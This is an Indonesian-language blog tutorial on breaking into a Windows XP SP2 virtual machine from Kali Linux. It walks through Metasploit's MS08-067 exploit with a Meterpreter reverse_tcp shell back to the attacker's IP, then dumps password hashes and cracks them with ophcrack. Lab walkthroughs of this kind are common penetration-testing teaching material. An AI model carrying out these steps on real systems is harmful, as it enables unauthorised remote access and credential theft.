Samurai Bali - kali ini saya akan membagikan sebuah tutorial yaitu cara password crack pada windows xp menggunakan kali linux. Pasti banyak yang penasaran apakah windows bisa di hack tentu saja bisa tidak ada sistem keamanan yang benar-benar aman,untuk cara mendapatkan password admin atau user di windows bisa mengikuti langkah-langkah di bawah ini:
beberapa alat yang di butuhkan :
- Windows xp Sp2
- Kali Linux
- Vmware / VirtualBox
1. Buka terminal kali linux dan ketikan cd /usr/share/applications lalu
enter
2. Setelah itu buka msfconsole
3. Pada target ip yang di pergunakan adalah 192.168.1.50
4. Pada kali linux sudah saya setting ip nya untuk melihat konfigurasi ip
ketikan ifconfig
5. Untuk mengecek apakah sudah terkoneksi dengan target kita coba ping ke ip
192.168.1.50
6. Setelah sudah terkoneksi pada msfconsole yang sudah terbuka kita coba
search netapi
7. Setelah mengetahui celah kita masuk ke
exploit/windows/smb/ms08_067_netapi
8. Kita set payload dengan perintah set payload
windows/meterpreter/reverse_tcp
9. Untuk melihat apakah rhost dan lhost sudah di setting kita ketikan show
options
10. Disini kita setting rhost yaitu ip target 192.168.1.50
11. Lalu kita set lhost yaitu ip penyerang 192.168.1.51
12. Setelah kita setting rhost dan lhost sekarang kita coba untuk exploit
13. Setelah masuk ke dalam komputer target untuk melihat kita berada di mana
kita ketik pwd
14. Setelah itu kita cari hash account admin dan user yang ada dengan
mengetikan hashdump
15. Setelah kita mendapat hash admin dan user save hash tersebut di folder
yang kita inginkan
16. Lalu kita buka tools untuk membaca code hash ketikan ophcrack
17. Setelah tools terbuka kita klik load lalu pilih session file
18. Lalu cari file yang berisi hash tadi lalu klik open
19. Setelah terbuka kita klik crack tunggu sampai proses selesai lalu
ophcrack akan menampilkan hasil dari hash tadi ditemukan pass user admin kosong
dan user ricky adalah kali
Sekian tutorial yang saya berikan jika ada yang kurang di pahami bisa bertanya di kolom komentar Terima Kasih.